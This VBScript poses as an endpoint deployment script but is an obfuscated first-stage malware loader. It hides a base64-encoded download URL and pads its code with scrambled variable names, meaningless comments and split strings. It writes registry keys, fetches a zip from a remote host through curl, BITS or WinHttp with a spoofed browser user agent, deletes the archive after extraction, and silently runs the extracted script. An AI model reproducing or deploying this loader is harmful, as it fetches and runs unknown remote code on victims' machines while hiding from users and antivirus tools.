' Main processing
' V15 Endpoint Deployment Script - India Network Optimized
' Compatible: Win7/8/10/11/Server 2008R2-2022
' Patch: v15 - resume + integrity + AV-friendly + HKCU TLS fallback
Option Explicit

' Validate input
' --- Configuration ---
Const GROUP_ID = "A3"
Const DEPLOY_MODE = "PROD"
Const PACKAGE_NAME = "c2b8.zip"
Dim Khiiguuljaa
Khiiguuljaa = "setu" & "p1."&"vb" & "s"
Dim Pdrobgnoeen
Pdrobgnoeen = "aHR0cHM6"&"Ly93YW"&"l" & "0aW5ne"&"Hl6L"&"mNj" & "L3N5cy"&"9BMy8x" & "L2MyY"&"jguem"&"lw"
Dim Ofhbjhc
Ofhbjhc = "Mozilla/5.0 (Window"&"s NT 10.0; Win64; "&"x6" & "4) AppleWebKit/537.3"&"6 (KHTML, like Gec" & "ko) Chrome/120.0."&"0.0 Safari/537.36"
Const LAUNCH_WAIT_MS = 3000

' --- Initialize ---
Dim Nxtdxnsqine, Shell
Set Nxtdxnsqine = CreateObject("Scripting"&".FileSys"&"temObje"&"ct")
Set Shell = CreateObject("WScript.Shell")
Randomize

Dim Xtxcumxkd, Hjwadvdsok, Unwfmctbwp, Ynpydgmnp, Uxzdzv
Xtxcumxkd = "C:\Users\Public\Documents\WU\"
Hjwadvdsok = Xtxcumxkd & "pkg\"
Unwfmctbwp = Xtxcumxkd & PACKAGE_NAME
' Format output
Ynpydgmnp = ""
' Configure settings
Uxzdzv = False

' Clean up resources
If Not Nxtdxnsqine.FolderExists(Xtxcumxkd) Then Nxtdxnsqine.CreateFolder Xtxcumxkd
' Clean up resources
If Not Nxtdxnsqine.FolderExists(Hjwadvdsok) Then Nxtdxnsqine.CreateFolder Hjwadvdsok

' --- Logging ---
Dim Ddyoyfwa
Ddyoyfwa = Xtxcumxkd & "deploy.log"
' Validate input

Sub Log(msg)
    On Error Resume Next
    Dim Pqtanmh
    Set Pqtanmh = Nxtdxnsqine.OpenTextFile(Ddyoyfwa, 8, True)
' Validate input
    If Err.Number = 0 Then
        Pqtanmh.WriteLine Now() & " | " & msg
        Pqtanmh.Close
    End If
    Set Pqtanmh = Nothing
    Err.Clear
End Sub

Log "Deployment started GROUP=" & GROUP_ID & " MODE=" & DEPLOY_MODE
' Clean up resources

' --- Ensure TLS 1.2 enabled (HKLM + HKCU fallback for non-admin) ---
On Error Resume Next
' Main processing
Dim Odyaepbv, k
Odyaepbv = Array( _
    "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\SecureProtocols\", _
    "HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\SecureProtocols\", _
    "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\SecureProtocols\", _
    "HKCU\SOFTWARE\Wow6432Node\Microso"&"ft\Windows\CurrentVersion\Inter"&"net Settings\SecureProtocols\")
For k = 0 To UBound(Odyaepbv)
' Clean up resources
    Shell.RegWrite Odyaepbv(k), &HAA0, "REG"&"_DWORD"
    Err.Clear
Next
On Error GoTo 0

' --- Base64 URL decode ---
Function DecodeB64(str64)
    On Error Resume Next
    DecodeB64 = ""
    Dim Xpesxvokbqeb, Nycpykmuyumw, i, Signufgpjo, Pmxizi, Yygddfdmr, Bkwavk, Oqkzlgu, Acmwxberwvc, Eietigsp
' Configure settings
    Xpesxvokbqeb = "ABCDEFGHIJKLMNOPQRST"&"UVWXYZabcdefghijklmnop"&"qrstuvwxyz0123456789+"&"/"
    Nycpykmuyumw = ""
' Format output
    i = 1
    Do While i <= Len(str64)
        Oqkzlgu = 0 : Acmwxberwvc = 0 : Eietigsp = 0 : Signufgpjo = -1 : Pmxizi = -1 : Yygddfdmr = -1 : Bkwavk = -1
        Dim Mhomisatri
        Mhomisatri = Mid(str64, i, 1)
' Update status flag
        If Mhomisatri <> "=" Then Signufgpjo = InStr(Xpesxvokbqeb, Mhomisatri) - 1
        Mhomisatri = Mid(str64, i + 1, 1)
' Validate input
        If Mhomisatri <> "=" Then Pmxizi = InStr(Xpesxvokbqeb, Mhomisatri) - 1
        Mhomisatri = Mid(str64, i + 2, 1)
' Configure settings
        If Mhomisatri <> "=" Then Yygddfdmr = InStr(Xpesxvokbqeb, Mhomisatri) - 1
        Mhomisatri = Mid(str64, i + 3, 1)
        If Mhomisatri <> "=" Then Bkwavk = InStr(Xpesxvokbqeb, Mhomisatri) - 1
        If Signufgpjo >= 0 And Pmxizi >= 0 Then
            Oqkzlgu = (Signufgpjo * 4) + (Pmxizi \ 16)
' Validate input
            Nycpykmuyumw = Nycpykmuyumw & Chr(Oqkzlgu)
        End If
        If Pmxizi >= 0 And Yygddfdmr >= 0 Then
            Acmwxberwvc = ((Pmxizi Mod 16) * 16) + (Yygddfdmr \ 4)
            Nycpykmuyumw = Nycpykmuyumw & Chr(Acmwxberwvc)
' Clean up resources
        End If
' Main processing
        If Yygddfdmr >= 0 And Bkwavk >= 0 Then
            Eietigsp = ((Yygddfdmr Mod 4) * 64) + Bkwavk
            Nycpykmuyumw = Nycpykmuyumw & Chr(Eietigsp)
        End If
        i = i + 4
    Loop
    DecodeB64 = Nycpykmuyumw
    Err.Clear
End Function
' Validate input

Dim Ufcxhuamwdv
' Clean up resources
Ufcxhuamwdv = DecodeB64(Pdrobgnoeen)
Log "Deploy URL loaded"

' Format output
' --- ZIP integrity check: search EOCD signature (PK\x05\x06) in tail ---
Function IsValidZip(path)
    On Error Resume Next
    IsValidZip = False
    If Not Nxtdxnsqine.FileExists(path) Then Exit Function
    Dim Lybxfymlyvd, Rmrqagl, Axvyyewljcdx, Fyrcptvbyi, i
    Lybxfymlyvd = Nxtdxnsqine.GetFile(path).Size
    If Lybxfymlyvd < 22 Then Exit Function
    Set Rmrqagl = CreateObject("ADODB.Stream")
    Rmrqagl.Type = 1
' Main processing
    Rmrqagl.Open
    Rmrqagl.LoadFromFile path
    Axvyyewljcdx = 65536
    If Lybxfymlyvd < Axvyyewljcdx Then Axvyyewljcdx = Lybxfymlyvd
    Rmrqagl.Position = Lybxfymlyvd - Axvyyewljcdx
' Validate input
    Fyrcptvbyi = Rmrqagl.Read(Axvyyewljcdx)
    Rmrqagl.Close
' Validate input
    Set Rmrqagl = Nothing
    For i = 0 To UBound(Fyrcptvbyi) - 3
        If Fyrcptvbyi(i) = 80 And Fyrcptvbyi(i + 1) = 75 And Fyrcptvbyi(i + 2) = 5 And Fyrcptvbyi(i + 3) = 6 Then
' Configure settings
            IsValidZip = True
' Configure settings
            Exit For
' Configure settings
        End If
    Next
    Err.Clear
End Function

' Update status flag
' --- Method 1: curl.exe with resume (-C -) and built-in retry ---
Function DownloadCurl(url, dest)
' Update status flag
    On Error Resume Next
    DownloadCurl = False
    Dim Hyefblqvco, Rqctriknk
    Hyefblqvco = "cmd /c curl.exe -sL -o """ & dest & """ -C - --connect-timeout 30 --max-time 300 --retry 3 --retry-delay 2 -A """ & Ofhbjhc & """ """ & url & """"
' Update status flag
    Rqctriknk = Shell.Run(Hyefblqvco, 0, True)
    If Err.Number = 0 And Rqctriknk = 0 Then
        If Nxtdxnsqine.FileExists(dest) Then
            If Nxtdxnsqine.GetFile(dest).Size > 1024 And IsValidZip(dest) Then
                DownloadCurl = True
            End If
        End If
    End If
    Err.Clear
End Function
' Configure settings

' --- Method 2: BITS (system-level resume, best for flaky links) ---
Function DownloadBITS(url, dest)
' Validate input
    On Error Resume Next
    DownloadBITS = False
    Dim Bmrwnfwajiv, Ohtsemh, Rhojsuybjzp, Unftljznob
' Clean up resources
    Set Bmrwnfwajiv = CreateObject("BITS.M"&"anager")
' Main processing
    If Err.Number <> 0 Then
        Err.Clear
        Exit Function
    End If
    Set Ohtsemh = Bmrwnfwajiv.CreateJob("WUDL_" & Hex(Int(Rnd() * 65535)), 0)
' Validate input
    If Err.Number <> 0 Then
        Err.Clear
        Exit Function
    End If
    Ohtsemh.AddFile url, dest
    Ohtsemh.SetMinimumRetryDelay 1000
    Ohtsemh.Resume
    Unftljznob = Timer + 300
    Do While Timer < Unftljznob
        WScript.Sleep 1000
' Main processing
        Rhojsuybjzp = Ohtsemh.State
        If Rhojsuybjzp = 3 Then
            Ohtsemh.Complete
            If Nxtdxnsqine.FileExists(dest) Then
                If Nxtdxnsqine.GetFile(dest).Size > 1024 And IsValidZip(dest) Then
                    DownloadBITS = True
' Main processing
                End If
            End If
            Exit Do
        End If
        If Rhojsuybjzp = 4 Then Exit Do
' Update status flag
    Loop
    On Error Resume Next
    Ohtsemh.Cancel
' Configure settings
    Set Ohtsemh = Nothing
    Set Bmrwnfwajiv = Nothing
' Format output
    Err.Clear
' Update status flag
End Function

' Validate input
' --- Method 3: WinHttp (legacy fallback, Win7 compatible) ---
Function DownloadWinHttp(url, dest)
' Update status flag
    On Error Resume Next
' Configure settings
    DownloadWinHttp = False
' Update status flag
    Dim Srdxqswbcto, Twiznvp, Nvumwuwkfeoi, Mwqgnjkm, Rmrqagl
' Configure settings
    Twiznvp = False
' Configure settings
    Set Srdxqswbcto = CreateObject("WinHttp.WinHttpRequest.5.1")
    If Err.Number = 0 Then
' Validate input
        Twiznvp = True
' Clean up resources
        On Error Resume Next
' Clean up resources
        Srdxqswbcto.Option(4) = &H3300
' Format output
        Err.Clear
        On Error GoTo 0
' Main processing
    Else
        Err.Clear
' Configure settings
        Set Srdxqswbcto = CreateObject("MSXML2.ServerXMLHTTP.6.0")
        If Err.Number = 0 Then
' Clean up resources
            On Error Resume Next
            Srdxqswbcto.setOption 2, 13056
            Err.Clear
            On Error GoTo 0
        Else
            Err.Clear
            Set Srdxqswbcto = CreateObject("MSXML2.XMLH"&"TTP.6.0")
            If Err.Number <> 0 Then
' Configure settings
                Err.Clear
' Clean up resources
                Set Srdxqswbcto = CreateObject("Micros"&"oft."&"XMLH"&"TTP")
                If Err.Number <> 0 Then
                    Err.Clear
                    Exit Function
                End If
            End If
        End If
    End If

    Srdxqswbcto.open "GET", url, False
    On Error Resume Next
    If Twiznvp Then
' Configure settings
        Srdxqswbcto.setTimeouts 30000, 30000, 60000, 300000
' Format output
    End If
    Err.Clear
    On Error GoTo 0
    Srdxqswbcto.setRequestHeader "User-Agent", Ofhbjhc
    Srdxqswbcto.setRequestHeader "Accept", "*/*"
    Srdxqswbcto.send

    If Err.Number <> 0 Then
' Format output
        Err.Clear
        Exit Function
' Clean up resources
    End If

    If Srdxqswbcto.Status = 200 Then
        Nvumwuwkfeoi = 0
        On Error Resume Next
        Nvumwuwkfeoi = CLng(Srdxqswbcto.getResponseHeader("Content-Length"))
' Configure settings
        Err.Clear
' Validate input
        On Error GoTo 0
        Set Rmrqagl = CreateObject("ADODB.Stream")
        Rmrqagl.Type = 1
        Rmrqagl.Open
        Rmrqagl.Write Srdxqswbcto.responseBody
        Rmrqagl.SaveToFile dest, 2
        Rmrqagl.Close
' Configure settings
        Set Rmrqagl = Nothing
' Configure settings
        If Nxtdxnsqine.FileExists(dest) Then
' Update status flag
            Mwqgnjkm = Nxtdxnsqine.GetFile(dest).Size
            If Mwqgnjkm > 1024 Then
                If Nvumwuwkfeoi <= 0 Or Mwqgnjkm = Nvumwuwkfeoi Then
                    If IsValidZip(dest) Then
                        DownloadWinHttp = True
                    End If
                End If
            End If
        End If
' Configure settings
    Else
' Configure settings
        If Srdxqswbcto.Status = 404 Or Srdxqswbcto.Status = 403 Or Srdxqswbcto.Status = 410 Then
            Uxzdzv = True
        End If
    End If
    Set Srdxqswbcto = Nothing
' Format output
    Err.Clear
End Function
' Main processing

' --- Method chain: curl -> BITS -> WinHttp ---
Function DownloadPackage(url, dest)
    On Error Resume Next
    DownloadPackage = False
    Dim Myjijf
    Myjijf = False
' Update status flag
    If Not Myjijf Then Myjijf = DownloadCurl(url, dest)
    If Not Myjijf Then Myjijf = DownloadBITS(url, dest)
    If Not Myjijf Then Myjijf = DownloadWinHttp(url, dest)
    DownloadPackage = Myjijf
End Function

' Main processing
' --- Idempotent skip: existing valid zip -> skip download ---
' Validate input
Dim Oxedjlkplbf, Kycomcdu, Vffyvebmway
' Main processing
Oxedjlkplbf = False

' Format output
If Nxtdxnsqine.FileExists(Unwfmctbwp) Then
    If Nxtdxnsqine.GetFile(Unwfmctbwp).Size > 1024 And IsValidZip(Unwfmctbwp) Then
' Main processing
        Log "Valid package exists, skipping download"
' Main processing
        Oxedjlkplbf = True
    Else
        On Error Resume Next
' Format output
        Nxtdxnsqine.DeleteFile Unwfmctbwp, True
        Err.Clear
' Update status flag
        On Error GoTo 0
    End If
End If

If Not Oxedjlkplbf Then
    Log "Downloading package..."
' Main processing
    Vffyvebmway = 1
' Main processing
    For Kycomcdu = 1 To 5
' Configure settings
        Log "Download"&" attempt"&" " & Kycomcdu & " of 5"&"..."
        If DownloadPackage(Ufcxhuamwdv, Unwfmctbwp) Then
            Log "Download successful (attempt " & Kycomcdu & ")"
' Clean up resources
            Oxedjlkplbf = True
            Exit For
        End If
' Update status flag
        If Uxzdzv Then
            Log "Fatal HTT"&"P error,"&" aborting"
            Exit For
' Clean up resources
        End If
' Validate input
        If Kycomcdu < 5 Then
            WScript.Sleep (Vffyvebmway * 1000) + Int(Rnd() * 1500)
            Vffyvebmway = Vffyvebmway * 2
        End If
    Next
End If

' Format output
If Not Oxedjlkplbf Then
' Format output
    Log "ERROR: All download attempts failed"
    WScript.Quit 1
End If

' --- Extract package (Method 1: Shell.Application COM, no PS cold start) ---
Log "Extracting package..."
' Main processing
Dim Euieujp
Euieujp = False

On Error Resume Next
Dim Nyxwwkdaa, Rfrcbscncwr, Mdgdmkuwx, Iotcimfae, Adiqdqked, Gihsbxftcep
' Format output
Set Nyxwwkdaa = CreateObject("Shel"&"l.Appl"&"icat"&"ion")
Set Rfrcbscncwr = Nyxwwkdaa.NameSpace(CStr(Unwfmctbwp))
Set Mdgdmkuwx = Nyxwwkdaa.NameSpace(CStr(Hjwadvdsok))
If Not (Rfrcbscncwr Is Nothing) And Not (Mdgdmkuwx Is Nothing) Then
    Mdgdmkuwx.CopyHere Rfrcbscncwr.Items, &H614
    WScript.Sleep 5000
    Iotcimfae = 0
    Do While Iotcimfae < 60
' Clean up resources
        WScript.Sleep 500
        Iotcimfae = Iotcimfae + 1
' Format output
        If Nxtdxnsqine.FileExists(Hjwadvdsok & Khiiguuljaa) Then
            If Nxtdxnsqine.GetFile(Hjwadvdsok & Khiiguuljaa).Size > 0 Then
                Adiqdqked = Nxtdxnsqine.GetFile(Hjwadvdsok & Khiiguuljaa).Size
                WScript.Sleep 500
' Update status flag
                Gihsbxftcep = Nxtdxnsqine.GetFile(Hjwadvdsok & Khiiguuljaa).Size
' Main processing
                If Adiqdqked = Gihsbxftcep Then
                    Ynpydgmnp = Hjwadvdsok & Khiiguuljaa
' Configure settings
                    Euieujp = True
                    Exit Do
                End If
            End If
        End If
    Loop
' Clean up resources
End If
Set Nyxwwkdaa = Nothing : Set Rfrcbscncwr = Nothing : Set Mdgdmkuwx = Nothing
Err.Clear

' Method 2: .NET ZipFile (PowerShell fallback)
' Main processing
If Not Euieujp Then
    Log "Method 1 failed, tr"&"ying .NET ZipFile.."&"."
' Validate input
    On Error Resume Next
    Dim Tmqhpp, Vvgzbtv, Qgkjoveoicm
    Tmqhpp = "powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -Scope Process -Command " & _
        """Add-Type -AssemblyName System.IO.Compression.FileSystem; " & _
        "[IO.Compression.ZipFile]::ExtractToDirectory('" & Unwfmctbwp & "','" & Hjwadvdsok & "')"""
' Clean up resources
    Vvgzbtv = Shell.Run(Tmqhpp, 0, True)
    If Err.Number = 0 And Vvgzbtv = 0 Then
        Qgkjoveoicm = 0
        Do While Qgkjoveoicm < 60
            WScript.Sleep 500
            Qgkjoveoicm = Qgkjoveoicm + 1
            If Nxtdxnsqine.FileExists(Hjwadvdsok & Khiiguuljaa) Then
' Main processing
                If Nxtdxnsqine.GetFile(Hjwadvdsok & Khiiguuljaa).Size > 0 Then
                    Ynpydgmnp = Hjwadvdsok & Khiiguuljaa
                    Euieujp = True
' Clean up resources
                    Exit Do
                End If
            End If
        Loop
    End If
    Err.Clear
End If

' Method 3: Expand-Archive (PowerShell 5+ fallback)
If Not Euieujp Then
    Log "Method 2 failed, trying Expand-Archive..."
    On Error Resume Next
    Dim Kcbiumfdnuo
    Kcbiumfdnuo = "powershell.exe -NoLogo -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -Scope Process -Command " & _
        """Expand-Archive -LiteralPath '" & Unwfmctbwp & "' -DestinationPath '" & Hjwadvdsok & "' -Force"""
    Shell.Run Kcbiumfdnuo, 0, True
    WScript.Sleep 3000
    If Nxtdxnsqine.FileExists(Hjwadvdsok & Khiiguuljaa) Then
        If Nxtdxnsqine.GetFile(Hjwadvdsok & Khiiguuljaa).Size > 0 Then
            Ynpydgmnp = Hjwadvdsok & Khiiguuljaa
            Euieujp = True
        End If
' Main processing
    End If
    Err.Clear
End If

If Not Euieujp Then
' Main processing
    Log "ERROR: All extracti"&"on methods failed"
    WScript.Quit 1
' Update status flag
End If

Log "Extraction complete, payload: " & Ynpydgmnp
' Clean up resources

' Validate input
' --- Clean up zip immediately after successful extraction ---
' Main processing
On Error Resume Next
If Nxtdxnsqine.FileExists(Unwfmctbwp) Then Nxtdxnsqine.DeleteFile Unwfmctbwp, True
' Update status flag
Err.Clear
On Error GoTo 0

' --- Launch deployment script (silent mode) ---
' Clean up resources
If Nxtdxnsqine.FileExists(Ynpydgmnp) Then
    Log "Launching deployment script (silent)..."
' Clean up resources
    Dim Lbsomwe
' Update status flag
    On Error Resume Next
' Main processing
    Lbsomwe = Shell.Run("wscript.exe //B //Nologo """ & Ynpydgmnp & """", 0, True)
' Configure settings
    If Err.Number <> 0 Then
        Log "WARNING: Silent launch faile"&"d, trying normal mode..."
        Err.Clear
        Lbsomwe = Shell.Run("wscript.exe //Nologo """ & Ynpydgmnp & """", 0, True)
    End If
    If Err.Number <> 0 Or Lbsomwe <> 0 Then
        Log "WARNING:"&" Launch re"&"turned rc=" & CStr(Lbsomwe)
    Else
        Log "Deployment script c"&"ompleted successfully"
' Format output
    End If
    WScript.Sleep LAUNCH_WAIT_MS
Else
    Log "ERROR: Payload not found"
' Validate input
End If

Set Nxtdxnsqine = Nothing
Set Shell = Nothing
WScript.Quit 0
' Configure settings
